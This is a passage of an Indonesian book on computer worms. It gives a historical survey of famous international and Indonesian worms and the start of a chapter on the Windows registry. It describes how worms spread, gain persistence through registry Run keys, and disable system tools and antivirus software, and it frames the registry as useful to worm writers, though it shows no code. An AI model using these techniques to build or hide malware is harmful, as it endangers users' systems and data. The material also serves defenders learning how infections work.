Mellisa menyertakan sebuah file attachment berupa file dokumen Word yang terinfeksi. Ironisnya saat itu masih banyak yang percaya bahwa dengan membuka sebuah e-mail tidak dapat menginfeksi se-buah komputer.
Ketika macro tersebut tereksekusi oleh aplikasi Word. Pertama kali yang dilakukannya adalah melakukan pemeriksaan apakah versi aplikasi Word yang digunakan bisa diinfeksi, jika bisa maka virus akan mengurangi pengaturan keamanan pada aplikasi Word untuk mence-gah aplikasi menampilkan pesan atau peringatan tentang adanya suatu macro, yang akan mencurigakan user.
14Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 2. M
engenal Worm
Virus kemudian mencari sebuah key pada registry yang mengandung kata "kwyjibo", apabila key tersebut tidak ditemukan, virus akan mengeksekusi aplikasi Outlook dan berusaha mengirimkan salinan dirinya kepada 50 penerima yang ada pada address book (buku alamat) aplikasi Outlook. Sebagai tambahan virus menulari file template aplikasi Word "normal.dot" menggunakan fitur VBA macro "Auto Execute", file dokumen yang berasal dari file template tersebut akan membawa serta virus tersebut.
2.5.5 PRETTY PARKSebuah worm lainnya menyebar luas dimusim panas tahun 1999. Worm yang dinamakan "Pretty-Park" ini menyertakan attachment berupa file "Pretty Park.exe". Tidak ada penjelasan pada attachment, hanya saja file tersebut menggunakan icon bergambar seekor beruang, yang merupakan sebuah karakter pada suatu pertunjukan televisi "South Park".
Jika dieksekusi, worm menginstal dirinya ke direktori System Windows dan memodifikasi registry yang membuat worm tersebut aktif saat file ber-ekstensi "exe" apa saja dieksekusi. Hal ini menjadi permasalahan bagi program antivirus, yang tentunya juga ber-ekstensi "exe".
Worm juga mengirimkan salinan dirinya pada alamat e-mail yang ada pada buku alamat Windows. Pretty Park kemudian berusaha mengirimkan beberapa data system dan password pada sebuah server IRC (internet relay chat) tertentu, terakhir dilaporkan bahwa worm ini memasang suatu backdoor.
2.5.6 EXPLORE ZIPPada bulan Juni tahun 1999, muncul sebuah worm bernama "ExploreZip" yang menyamar sebagai file zip (file terkompresi) dalam attachment sebuah e-mail yang jika dieksekusi akan menampilkan pesan kesala-han. ExploreZip secara diam-diam menyalin dirinya kedalam direktori System Windows dan memodifikasi registry.
15Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
2. M
enge
nal W
orm
Seperti worm lainnya, ExploreZip juga melakukan penyebaran lewat e-mail dengan memanfaatkan aplikasi Outlook atau Exchange, dengan mengawasi e-mail yang masuk dan membalas e-mail tersebut dengan salinan dirinya.
pada tanggal 9 Januari 2003 ExploreZip kemudian dilaporkan meng-hasilkan varian baru. Varian ini bernama ExploreZip.N varian dan cu-kup merepotkan pengguna komputer di Indonesia. Salah satu metode penyebarannya menggunakan e-mail yang memiliki attachment berupa file ZIPPED_FILES.EXE saat file ini dieksekusi maka worm menginstal dirinya sendiri pada system Windows.
Worm ini meng-overwrite (menimpa) file dokumen dengan ekstensi DOC (Microsoft Word), XLS (Microsoft Excel), PPT (Microsoft Power-point), ASM (Assembler), CPP (C++), C (File C), H (Header C) sehingga file-file tersebut sulit untuk diselamatkan.
2.5.7 BUBBLE BOYAwal tahun 2000, muncul sebuah virus yang membawa sebuah konsep baru "BubbleBoy". Virus ini menunjukkan bahwa sebuah komputer dapat tertular hanya dengan melihat e-mail, tanpa harus membuka pesannya.
Virus ini mengambil keuntungan dengan adanya celah keamanan pada aplikasi Internet Explorer, yang secara otomatis mengeksekusi script Visual Basic yang terdapat pada body e-mail. Virus akan datang sebagai sebuah e-mail dengan subjek "BubbleBoy is back", pesan berbentuk file HTML dan mengandung script virus dalam bahasa Visual Basic.
Jika menggunakan aplikasi Outlook, script tersebut akan dijalankan walaupun yang dilakukan hanya preview. File tersebut akan ditambah-kan pada direktori StartUp Windows, sehingga apabila komputer dihidupkan virus akan berusaha mengirimkan dirinya pada setiap alamat yang ada pada address book aplikasi Outlook. Diwaktu yang hampir bersamaan, worm "KAK" tersebar dengan cara yang serupa.
16Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 2. M
engenal Worm
2.5.8 LOVE LETTERDibulan Mei 2000, lajunya penyebaran worm "LoveLetter" menun-jukkan efektifitas serangan dengan metode social engineering, yang hingga saat ini sudah menjadi suatu kebiasaan suatu worm dalam penyebarannya.
E-mail yang berisi worm ini memiliki subjek "I Love You" yang berarti "Saya Cinta Kamu" dan berisi pesan-pesan yang mendorong user untuk mengeksekusi attachment yang merupakan worm tersebut. File attach-ment berupa Visual Basic Script yang bisa dieksekusi dengan Windows Script Host (bagian dari Windows98, Windows2000, Internet Explorer 5, atau Outlook 5).
Ketika dieksekusi, LoveLetter menginstal dirinya kedalam direktori System Windows dan memodifikasi registry untuk memastikan bahwa worm akan aktif saat komputer dihidupkan. Ketika komputer lainnya terinfeksi, dan jika aplikasi Outlook terinstal pada komputer tersebut, maka worm akan mengirimkan salinannya pada siapa saja yang ada pada address book aplikasi Outlook.
Sebagai tambahan worm akan membuat koneksi IRC dan mengirimkan salinan dirinya pada siapa saja yang bergabung pada saluran IRC terse-but. LoveLetter juga memiliki kemampuan untuk mencuri password.
Dengan mengubah home page (alamat url yang akan diakses pertama kalinya) pada Internet Explorer ke suatu website di Asia, worm akan mengusahakan agar suatu trojan horse di download dari website tersebut, dimana trojan horse tersebut akan mengumpulkan password e-mail dan mengirimkannya ke suatu alamat di Asia.
2.5.9 HYBRISDibulan Oktober 2000, worm Hybris menyebar dengan e-mail ber-attachment. Jika dieksekusi akan memodifikasi file WSOCK32.DLL dalam rangka menjejaki semua lalu lintas ber-internet. Untuk setiap e-mail yang terkirim worm akan mengirimkan salinan dirinya ke alamat penerima yang sama. Yang menarik dari worm ini yaitu; bisa men-download file update untuk dirinya sendiri dari newsgroup "alt.comp.virus" metode yang digunakan termasuk canggih dan sangat berbahaya karena payload worm tersebut bisa diubah kapan saja.
17Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
2. M
enge
nal W
orm
2.5.10 ANNA KOURNIKOVAPada bulan Februari 2001, kembali sebuah worm mencemaskan para pengguna internet, yang memanfaatkan kepopuleran seorang petenis asal Rusia "Anna Kournikova". Worm ini dibawa dalam suatu attachment e-mail yang menyatakan bahwa lampiran tersebut adalah file gambar dalam bentuk file jpg yang memuat foto pemain tenis tersebut. Apabila file tersebut dieksekusi maka akan mengirimkan salinan dirinya kepada setiap nama yang terdaftar pada buku alamat Microsoft Outlook.
2.5.11 SADMINDPada bulan Mei 2001, worm Sadmind menyebar dengan mentargetkan 2 vulnerability (kelemahan) pada 2 sistem operasi yang berbeda, dan menjadi teladan untuk worm berikutnya yang bisa melakukan serangan dengan berbagai kombinasi. Pertama kali yang dilakukannya adalah meng-eksploitasi vulnerability buffer overflow pada sistem operasi Sun Solaris, dan menginstal suatu program agar bisa melakukan komunikasi dengan IIS webserver guna melakukan suatu serangan. Vulnerability ini kemudian diumumkan pada tanggal 18 Juni 2001, yang menunjuk sebagai vulnerability pada Index Server ISAPI.
2.5.12 CODE REDMemanfaatkan vulnerability pada Index Server ISAPI tersebut, pada tanggal 12 Juli 2001 muncul sebuah worm dengan nama "Code Red" yang menyerang semua IIS webserver, dengan aksi mengubah tampi-lan awal website pada server yang tertular.
Pertama kali worm menginstal dirinya pada system, membaca IP system dan dari IP tersebut worm menyusun 99 IP baru, kemudian melakukan pemeriksaan sistem operasi pada IP yang berhasil disusun-Jika worm menemukan sebuah IP target menggunakan sistem operasi
18Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 2. M
engenal Worm
Microsoft Windows maka worm akan meng-eksploitasi server target tersebut, dan melakukan deface (mengubah halaman awal suatu web-site) dengan tampilan "Welcome to the www.worm.com ! hacked by Chinese!."
Berikutnya worm mencari file c:\notworm. Worm tidak akan meng-hentikan serangannya jika file tersebut tidak ditemukan. Pada tanggal 20 Juli worm akan melakukan serangan DOS (denial of service) pada server www.whitehouse.gov, kemudian pada tanggal 27 worm mem-buat dirinya dalam kondisi dormant (fase saat worm menjadi tidak aktif) secara permanen.
Tidak begitu lama pada tanggal 19 Juli 2001, muncul Code Red I yang merupakan versi kedua dari worm Code Red dengan penyebaran yang lebih cepat. Banyak perbaikan pada program worm sehingga mampu menginfeksi 359.000 unit komputer hanya dalam waktu 14 jam, seperti versi pertama worm ini juga membuat dirinya dalam kondisi dormant pada tanggal 20 Juli secara permanen.
Di bulan Agustus 2001, kembali Code Red muncul dengan versi ber-beda "Code Red II", muncul dengan payload yang sangat berbahaya. Worm ini masih memanfaatkan vulnerability yang sama dengan versi sebelumnya, sedikit perubahan pada program, worm ini akan mem-buat suatu trojan "explorer.exe" dan ditempatkan pada direktori root.
2.5.13 NIMDATanggal 18 September 2001, worm Nimda adalah worm yang termasuk paling banyak menginfeksi komputer di Indonesia, muncul dengan memuat payload yang sangat berbahaya dan menggunakan beragam cara dalam penyebarannya, pada 12 jam pertama saja worm ini sudah berhasil menginfeksi 450.000 unit komputer, dan dalam dua hari Nimda berhasil menginfeksi 2,2 juta komputer serta menyebabkan kerugian sebesar US $ 370 juta.
Walaupun worm ini tidak menggunakan metode baru dalam penye-barannya, tetapi dengan penggabungan beberapa metode dalam suatu worm, menunjukkan adanya tingkatan baru atas kompleksitas yang tidak terlihat sebelumnya. Nimda melakukan penyebaran dengan mengirimkan salinan dirinya melalui e-mail dengan subjek random (acak) dan sebuah file attachment "readme.exe".
19Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
2. M
enge
nal W
orm
Nimda memanfaatkan celah keamanan pada Internet Explorer dan Outlook Express 5.01 dan 5.5 Service Pack 1, dimana e-mail yang dikirimkan Nimda berupa halaman html yang memiliki body script tertentu dengan tujuan akan secara otomatis mengaktifkan file attach-ment walaupun e-mail tersebut hanya dilihat pada preview pane saja.
Bila komputer terinfeksi berada dalam suatu jaringan maka secara oto-matis Nimda mencari direktori yang di sharing dari komputer lain dan memberikan hak tulis penuh (full access) kemudian membuat salinan dirinya ke dalam direktori-direktori tersebut, dengan mengambil nama file secara random pada daftar file yang ada pada komputer terinfeksi, dengan menggunakan ekstensi EML atau NWS.
Pada server yang terinfeksi, file-file halaman web akan disisipkan script baru yang secara otomatis mengakses file readme.eml saat halaman web tersebut dibuka. Dalam penyebarannya, Nimda juga memanfaat-kan backdoor pada server yang terinfeksi CodeRed2 atau Sadmind. Banyaknya perubahan pada file system dan registry membuat worm ini sulit untuk dibersihkan.
2.5.14 BADTRANS.BPada bulan November 2001, BadTrans kembali beraksi setelah kemun-culan perdananya pada tanggal 12 April 2001 dengan teknik yang lebih canggih dan bisa dikatakan sebagai era baru dalam social engineering.
BadTrans.B memeriksa direktori inbox pada aplikasi Outlook dengan mencari e-mail yang belum dibuka oleh user, kemudian membalas e-mail tersebut dengan file attachment berupa salinan dirinya sendiri.
Seperti Nimda, e-mail yang dikirimkan berupa halaman html dan se-cara otomatis mengaktifkan file attachment walaupun e-mail tersebut hanya dilihat pada preview pane saja. Pada proses pengiriman e-mail BadTrans.B menambahkan underscore (tanda garis bawah) "_" disetiap awal alamat pengirim, sehingga apabila e-mail tersebut di-reply (balas) maka e-mail balasan tersebut tidak akan sampai pada alamatnya.
BadTrans.B akan menginstal suatu program trojan yang akan mencuri user name dan password kemudian mengirimkannya pada suatu alamat e-mail tertentu, dilaporkan worm ini mengakibatkan kerugian sebesar US $ 210 juta.
20Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 2. M
engenal Worm
2.5.15 KLEZWorm Klez muncul di bulan Oktober 2001, seperti worm lainnya worm ini pun menggunakan kelemahan IE dan OE sehingga worm tereksekusi dengan sendirinya walau hanya dilihat pada preview pane saja.
Klez hanya menggunakan sarana e-mail dalam penyebarannya. Klez menyatukan suatu keunikan dengan pendekatan sosial yang inovatif, dengan memilih salah satu alamat e-mail yang ada pada komputer terinfeksi dan menggunakan alamat tersebut sebagai alamat pengirim, kemudian mengirimkan salinan dirinya ke seluruh alamat e-mail yang lain. Dengan cara ini terlihat, seolah-olah e-mail dikirim oleh seseorang yang benar-benar dikenal oleh penerima.
Tanggal 11 Nopember 2001, dilaporkan kembali varian lain dari worm tersebut. Klez.d memiliki rutin baru yang akan memeriksa database alamat e-mail dari pengguna ICQ sebagai target pengiriman. Saat dieksekusi worm menginstal dirinya kedalam direktori System Win-dows dengan nama file "WinSvc.exe" dan melakukan modifikasi pada registry sehingga worm akan aktif saat komputer dihidupkan.
Varian lainnya muncul dengan nama Klez.e dan dilaporkan pada tanggal 17 Januari 2002. Saat dieksekusi worm akan menginstal dirinya kedalam direktori System Windows dengan nama file "WINK???.EXE", dimana ??? adalah variabel random berupa angka 2 dan 3. Seperti Klez.d worm ini juga memodifikasi registry dengan alasan yang sama,
Selain itu worm ini juga telah dipersenjatai dengan pembunuh pro-gram antivirus yang bisa mendeteksi Nimda, Code Red, Sircam dan Fun Love.
Pada varian selanjutnya, e-mail tidak hanya terlihat berasal dari seorang teman tetapi klez menyisipkan sebuah tool "imunitas" sebagai attach-ment dan penerima diajarkan untuk menon-aktifkan antivirus mereka agar bisa menjalankan tool tersebut, dengan mengikuti petunjuk terse-but, dan saat attachment tersebut dieksekusi maka sebenarnya user malah menginstal Klez serta virus ElKern pada komputer mereka.
Klez merupakan salah satu worm yang memiliki siklus hidup ter-panjang, yang pernah mengacaukan dunia internet. Pertama kali dilaporkan pada bulan Oktober 2001, dan mendominasi pada tahun 2002 sebagai worm yang paling lazim di internet.
21Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
2. M
enge
nal W
orm
Akhir tahun 2003 kembali dilaporkan varian Klez.H sebagai ancaman, walaupun sukar menentukan besar kerugian yang ditimbulkan, tetapi diperkirakan Klez dan varian-nya menimbulkan kerugian sebesar US $ 9 milyar.
2.5.16 SLAMMERSerangan worm Slammer dimulai pada tanggal 23 Januari 2003, worm yang hanya berukuran 369 byte ini menjadikan Slammer sebagai worm dengan ukuran terkecil yang pernah ada. Cara kerja worm ini hampir sama dengan CodeRed, dan tidak memodifikasi registry.
Slammer memanfaatkan vulnerability yang ditemukan oleh Next Generation Security Software Limited pada bulan Juli 2002 dimana dengan memanfaatkan vulnerability ini, penyerang dapat menguasai SQL Server dan kode pemrograman yang berhasil dimasukkan akan berjalan sebagai system karena hak dari MS SQL Server di dalam komputer adalah system. Worm ini bukan merupakan mass mailer dan hanya menyebarkan dirinya melalui scanning port 1434.
2.5.17 BAGLEDi minggu ketiga Januari 2004, sebuah worm yang disinyalir berasal dari Jerman ternyata sukses meraih peringkat pertama sebagai worm yang paling banyak dihentikan. Worm yang kemudian diketahui ber-nama Bagle ini memiliki siklus hidup yang tergolong singkat, Bagle memasuki fase dormant secara permanen pada tanggal 28 Januari 2004 dan berusaha untuk menghapus file launcher-nya.
Bagle memiliki ukuran file sebesar 15 Kb, dan melakukan penyebaran dengan cara mengirimkan file infector melalui e-mail ber-attachment, dengan tujuan pengiriman yang dikoleksi dari file-file berekstensi txt, htm, html dan wab pada sistem lokal.
Saat file infector dieksekusi, Bagle membuat salinan file worm pada direktori System Windows, kemudian memanipulasi registry agar worm tereksekusi setiap kali Windows startup.
22Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 2. M
engenal Worm
2.5.18 NETSKYTidak begitu lama setelah kemunculan worm Bagle, sebuah worm lainnya menyebar dengan kecepatan yang lebih tinggi. Worm Netsky melakukan penyebaran dengan cara yang sama seperti yang dilakukan worm Bagle, hanya saja Netsky memiliki beberapa rutin yang memung-kinkan dirinya dapat melakukan penyebaran dengan menggunakan media aplikasi peer to peer.
Netsky mengirimkan salinan dirinya melalui sebuah e-mail ber-attach-ment dan dalam bentuk file terkompresi. File worm berukuran sebesar 22 Kb dan menggunakan icon yang disamarkan sehingga terlihat sebagai sebuah file dokumen Microsoft Word.
Saat file infector dieksekusi Netsky membuat salinan file worm pada direktori Windows dengan nama file 'services.exe’, kemudian me-manipulasi beberapa nilai registry yang bertujuan agar worm dapat tereksekusi setiap kali Windows startup.
2.6 PERKEMBANGAN WORM LOKALBerikut ini beberapa catatan singkat tentang worm lokal yang pernah ada dan dibuat oleh worm writer asal Indonesia.
2.6.1 I-WORM PERKASAPada bulan 6 Desember 2001 muncul sebuah worm lokal. Worm yang terkompresi dengan UPX ini memiliki ukuran sebesar 12,288 Kb dan dibuat dengan menggunakan program Visual Basic.
Worm yang juga disebut dengan nama I-Worm.Imelda atau I-Worm Updater ini menggunakan media Microsoft Outlook dalam penye-barannya, saat file infector dieksekusi worm ini meng-copy dirinya ke direktori Windows dengan nama 'UPDATE.EXE’, kemudian menam-bahkan suatu nilai registry pada sub key 'Run’ agar worm ini tetap aktif saat Windows startup.
23Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
2. M
enge
nal W
orm
2.6.2 PESINWorm lokal lainnya muncul dipertengahan bulan September 2003 dengan menggunakan icon Microsoft Word. Worm yang terkompresi dengan ASPack ini juga sering dipanggil dengan sebutan Kenangan, Puisi Cinta, Hallo, Mistery atau MyHeart. Hal ini disebabkan karena worm Pesin menggunakan nama-nama tersebut sebagai nama dari file infector.
Worm Pesin menggunakan media disket dalam proses penyebaran, hal ini sangat efektif mengingat penggunaan disket masih sangat diminati oleh pengguna komputer di Indonesia.
Saat file infector dieksekusi worm ini meng-copy dirinya ke direktori Windows dengan nama 'SysTask.exe’, Pesin juga membuat salinan pada direktori My Documents dengan nama file 'MyHeart.exe’ kemudian menambahkan suatu nilai registry pada sub key 'Run’ agar worm ini tetap aktif saat Windows startup, yang menarik dari worm ini adalah worm akan menonaktifkan program Registry Editor jika user berusaha untuk menjalankannya.
2.6.3 TABARUPada awal januari 2005 kembali diketahui sebuah worm lokal yang membawa-bawa nama pembawa acara Jejak Petualang di TV7 yaitu Ri-yanni Djangkaru. Worm ini memiliki ukuran file sebesar 40 Kb dengan icon yang disamarkan sehingga terlihat seperti file jpg.
Saat file infector dieksekusi worm membuat dua file, yaitu file 'xpshare.exe’ pada direktori 'C:\!submit’ dan file 'riyani_jangkaru.exe’ pada root direktori ’C:\’, kemudian menambahkan value 'winloader’ pada registry run yang akan mengaktifkan worm setiap Windows startup. Hanya saja worm ini baru banyak dikenal pada pertengahan Juli 2005.
24Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 2. M
engenal Worm
2.6.4 KANGENPada pertengahan April 2005, suatu worm lokal kembali me-resahkan pengguna komputer, dengan berbekal refrain lagu Kangen (Dewa 19) worm ini sukses menginfeksi ratusan komputer di Indonesia. Seperti worm lokal terdahulu, Kangen juga dibuat dengan Visual Basic,
menggunakan icon Microsoft Word dan melakukan penyebaran lewat disket, anehnya worm satu ini sama sekali tidak dikompresi .
Saat file infector dieksekusi worm ini meng-copy dirinya ke direk-tori System Windows dengan nama 'CCAPPS.EXE’ dengan ukuran file sebesar 64 Kb, yang menarik dari worm ini adalah worm akan berusaha menonaktifkan program Task Manager, MS Config dan Registry Edi-tor. Saat buku ini ditulis worm Kangen sudah mencapai varian M.
2.6.5 KUMISDiawal bulan Juli 2005, seorang worm writer yang konon terinspirasi oleh seorang dosennya yang berkumis tebal membuat worm yang ke-mudian disebut dengan worm Kumis. Worm ini berukuran sebesar 76 Kb dan dikhususkan untuk sistem operasi Windows XP dan Win-dows Server 2003.
Saat file infector dieksekusi worm ini membuat salinan dirinya ke direktori System Windows dengan nama 'username logon.exe’ dimana username adalah nama user aktif, kemudian memanipulasi registry agar worm tetap aktif. Menariknya, worm kumis ini akan me-restart komputer setiap kali Windows startup.
25Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
2. M
enge
nal W
orm
2.6.6 DECOILWorm Decoil yang juga sering disebut Decoy ini muncul di penghujung tahun 2005, worm lokal ini menyembunyikan file dokumen Microsoft Word dan membuat salinan dengan nama yang persis dengan nama file yang disembunyikan.
Saat file infector dieksekusi worm ini meng-copy dirinya ke direktori Windows dengan nama 'lExplorer.exe’, pada direktori System Win-dows dan sub direktori '\i75-d2’ dengan nama file 'dkernel.exe’. Decoy tergolong worm dengan ukuran yang sangat besar yaitu sebesar 154 Kb (besar file ini setelah dikompres dengan UPX).
2.6.7 RONTOKBRODiawal bulan Oktober 2005, pengguna komputer di Indonesia kembali dikejutkan oleh sebuah worm lokal yang sudah menggunakan smtp sendiri dalam mengirimkan file infector-nya dan selektif dalam pemili-han alamat e-mail target.
Worm yang diisukan sebagai worm lokal ter-anyar yang pernah ada ini ternyata dibuat dalam bahasa Visual Basic , RontokBro juga memblokir aplikasi Registry Editor dan memonitor caption pada aplikasi browser, jika suatu string tertentu ditemukan oleh RontokBro maka komputer akan di-restart secara otomatis.
2.6.8 NOBRONTidak begitu lama setelah kemunculan RontokBro, worm yang ke-mudian dikenali dengan nama W32/Nobron.A@mm oleh Norman Virus Control ini berusaha untuk membersihkan system dari worm RontokBro, Nobron memiliki ukuran file sebesar 84 Kb. Worm juga berusaha untuk menonaktifkan aplikasi Registry Editor, MS Config, Task Manager dan CMD.
Saat file infector dieksekusi worm ini meng-copy dirinya ke direktori System Windows dengan nama 'MsPatch.exe’, selain itu Nobron juga membuat salinan ke setiap root dari masing-masing drive termasuk USB Flash Disk dengan nama file 'foto administrator.exe’.
26Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 2. M
engenal Worm
2.6.9 RUNITISPada akhir bulan Nopember 2005, kembali diketahui sebuah worm lokal dengan ukuran file sebesar 164 Kb dan telah dikompres dengan aplikasi ASPack. Worm ini menggunakan nama yang diambil dari nama seorang penyanyi dari Malaysia yaitu Siti Nurhaliza (Runitis jika dibaca terbalik menjadi Sitinur).
Runitis menggunakan icon Internet Explorer dalam penyebarannya. Worm ini menghapus
file program regedit.exe (Registry Editor), msconfig.exe (MS Config), wmplayer.exe (Windows Media Player), winamp.exe dan winampa.exe (Winamp) serta beberapa file program lainnya kemudian membuat salinan dirinya dengan nama dan letak yang sama, sehingga user malah akan menjalankan worm apabila mengeksekusi aplikasi-aplikasi tersebut.
2.6.10 BLUEFANTASYDi akhir bulan Januari 2006, sebuah worm lokal bernama BlueFantasy ikut berlomba dengan worm lainnya, walaupun worm yang berukuran 68 Kb ini tidak melewati proses enkripsi dan kompresi namun Blue-Fantasy mempertahankan ciri khas worm komputer yang membuat banyak salinan, dengan cara memonitor direktori aktif dan membuat salinan pada direktori tersebut.
Saat file infector dieksekusi BlueFantasy meng-copy dirinya ke direktori System Windows dengan nama file 'Win32.com’ dan menggunakan atribut Hidden, selain itu worm juga membuat salinan pada direktori Desktop, My Documents, dan StartUp. Kemudian worm memanipulasi suatu nilai registry yang akan membuat file worm tetap tereksekusi saat Windows startup, dan membuat type file executable seperti exe dan scr akan terlihat sebagai aplikasi Microsoft Word.
27Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
2. M
enge
nal W
orm
2.6.11 ROMDILPertengahan bulan Februari 2006, sebuah worm lokal lainnya muncul dan dideteksi Norman Virus Control sebagai w32/Romdil, seperti kebanyakan worm lokal, worm inipun dibuat dengan menggunakan bahasa Visual Basic.
Worm Romdil memiliki ukuran file sebesar 40 Kb untuk varian A dan sebesar 41 Kb untuk varian B, worm ini telah dikompres dengan menggunakan aplikasi UPX, Selain itu worm ini menggunakan icon dengan gambar Folder, dan disamarkan sebagai file aplikasi Windows Explorer.
Untuk bertahan pada suatu system, Romdil berusaha untuk mencegah user mengeksekusi aplikasi CMD (command prompt), MS Config, Registry Editor, Task Manager, dan beberapa fasilitas Windows seperti Search dan Run.
2.6.12 MYBRODi bulan Maret 2006, sebuah varian lain dari worm RontokBro kembali di-release dan diperkirakan dibuat dengan menggunakan bahasa C. MyBro memiliki ukuran file sebesar 51 Kb dan menggunakan icon dengan gambar Folder.
Worm MyBro diperkirakan menggunakan / meniru source code worm yang sudah ada sehingga pola worm tersebut dapat terdeteksi dengan mudah oleh teknologi SandBox dari Norman Virus Control.
Untuk bertahan pada suatu system, MyBro berusaha untuk mematikan service antivirus dari Norman, TrendMicro, Norton, McAfee, AVG, Bit Defender, Panda dan PC Cilin. Selain itu MyBro berusaha untuk menghapus file Microsoft Visual Basic Virtual Machine yang akan menggagalkan proses untuk setiap aplikasi yang dibuat dengan meng-gunakan bahasa Visual Basic, serta melakukan blocking ke beberapa situs tertentu.
28Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 2. M
engenal Worm
2.6.13 IRCBOT.AQFDibuat pada awal tahun 2006 dan mulai dikenal pada bulan April 2006, worm IRCBot menyebar dengan memuat sebuah pesan yang ditujukan pada Presiden. Worm yang berasal dari Borneo alias Kalimantan ini ti-dak berusaha untuk mematikan proses Task Manager ataupun Registry Editor sebagai metode life defender, namun sebagai gantinya IRCBot menggunakan metode Watcher yang terbilang masih baru pada awal tahun 2006, yang akan me-restart komputer jika proses salah satu file launcher dimatikan. File worm berukuran 32 Kb dan menggunakan icon file dokumen Microsoft Word.
2.6.14 LIGHTMOONWorm dengan nama sebutan yang bisa memiliki arti sebagai bulan purnama ini, menyebar dipenghujung April 2006 dengan barisan puisi yang terinspirasi dari bulan purnama. LightMoon menggunakan icon folder dan memiliki ukuran file sebesar 39 Kb, umumnya memiliki beberapa kesamaan teknik dengan worm lokal lainnya, hanya saja LightMoon ini akan mengalihkan akses dari fungsi MS Config, Registry Editor, Task Manager dan Command Prompt pada file launcher worm, sehingga user malah mengeksekusi worm tersebut apabila menjalankan salah satu fungsi tersebut.
29Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
3. R
egis
try W
indo
ws
BAB 3 REGISTRY WINDOWS
Kenapa bab ini ada?
Dalam sistem operasi Microsoft Windows, keberadaan registry menjadi sangat vital karena registry menyimpan pengaturan-pengaturan baik oleh sistem operasi itu sendiri maupun program aplikasi yang terinstal.
Keberadaan registry menjadi suatu keuntungan bagi worm writer untuk membuat suatu worm tetap aktif saat komputer dihidupkan, bahkan dengan registry pula suatu worm bisa melumpuhkan program yang bisa membahayakan worm tersebut.
Sebaliknya dengan memiliki pengetahuan tentang registry, seorang administrator sistem akan lebih mudah dalam menangani worm, bahkan tidak sesekali penulis temukan bahwa hanya dengan menghapus registry milik suatu worm, ternyata mampu melumpuhkan worm tersebut.
30Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 3. R
egistry Window
s
Registry adalah suatu database yang digunakan untuk menyim-pan pilihan dan pengaturan pada system Microsoft Windows versi 32 bit yang mencakup Windows 95, 98, ME, NT/2000 dan
XP.
Registry berisi pengaturan dan informasi untuk semua hardware (perangkat keras), software (perangkat lunak), user (pengguna), dan pilihan-pilihan yang berkaitan dengan komputer tersebut. Ketika user melakukan perubahan pada pengaturan control panel, atau asosiasi file, system policies, atau menginstall suatu software, maka perubahan tersebut akan tersimpan di registry.
File data pada registry disimpan dengan cara yang berbeda dan ter-gantung pada versi Windows yang digunakan. Pada Windows 95 & 98 file data terdapat di dua file Hidden di dalam direktori Windows, yaitu file USER.DAT dan SYSTEM.DAT, untuk Windows ME ada suatu tambahan berupa file CLASSES.DAT, sedangkan pada Windows NT/2000/XP file dimasukkan secara terpisah di dalam direktori %Systemroot%\System32\Config.
Anda tidak bisa mengubah file ini secara langsung, tetapi harus menggunakan suatu tool yang disebut sebagai Registry Editor untuk membuat perubahan apapun pada registry.
3.1 STRUKTUR REGISTRYRegistry memiliki struktur hirarki yang mirip dengan struktur direk-tori pada aplikasi Windows Explorer. Masing-masing cabang utama disebut hive.
Hive berisi key (kunci) dan masing-masing key bisa berisi key-key yang lain (sub-key), dan key bisa berisikan value (nilai). Value memuat data informasi aktual yang disimpan di dalam registry.
Ada tiga jenis data yang umumnya digunakan yaitu; String, Binary, dan DWORD – penggunaan masing-masing data ini tergantung pada konteks.
31Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
3. R
egis
try W
indo
ws
3.1.1 HIVEAda enam hive atau cabang utama pada registry, masing-masing berisi suatu porsi spesifik menyangkut informasi yang disimpan di dalam registry tersebut. Adapun hive-hive tersebut adalah sebagai berikut:
1. HKEY_CLASSES_ROOT: hive ini berisi semua informasi tentang file asosiasi untuk mendukung fitur drag-and-drop, informasi OLE, windows shortcuts, dan aspek inti pada tampilan Windows.
2. HKEY_CURRENT_USER: hive ini merujuk pada bagian HKEY_USERS, sesuai dengan user yang sedang aktif dan berisi informasi seperti nama logon, pengaturan desktop, dan pengaturan Startmenu.
3. HKEY_LOCAL_MACHINE: hive ini berisi informasi spesifik kom-puter tentang jenis hardware, software, dan pilihan-pilihan yang berkaitan dengan komputer tersebut, dan informasi ini digunakan untuk semua user pada komputer itu.
4. HKEY_USERS: hive ini berisi pilihan individu untuk masing-masing user yang menggunakan komputer, masing-masing user diwakili oleh suatu Sid sub-key yang ditempatkan di bawah cabang utama.
5. HKEY_CURRENT_CONFIG: hive ini merujuk pada bagian HKEY_LOCAL_MACHINE, sesuai dengan konfigurasi hardware yang berlaku saat itu.
6. HKEY_DYN_DATA: hive ini merujuk suatu bagian dari HKEY_LOCAL_MACHINE, untuk digunakan dengan fitur plug & play pada Windows, bagian ini bersifat dinamis dan akan berubah ketika suatu alat ditambahkan atau dipindahkan dari system.
3.1.2 VALUEMasing-masing value disimpan dengan beberapa jenis data, yang paling sering digunakan adalah:1. REG_BINARY: Jenis ini menyimpan nilai sebagai data biner. Ke-
banyakan informasi komponen perangkat keras disimpan sebagai data biner, dan dapat dilihat pada sebuah editor dalam format hexadecimal.
32Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 3. R
egistry Window
s
2. REG_DWORD: Jenis ini mewakili data dengan empat byte nomor; dan biasanya digunakan untuk nilai-nilai boolean, seperti "0" berarti disabled dan "1" berarti enabled.
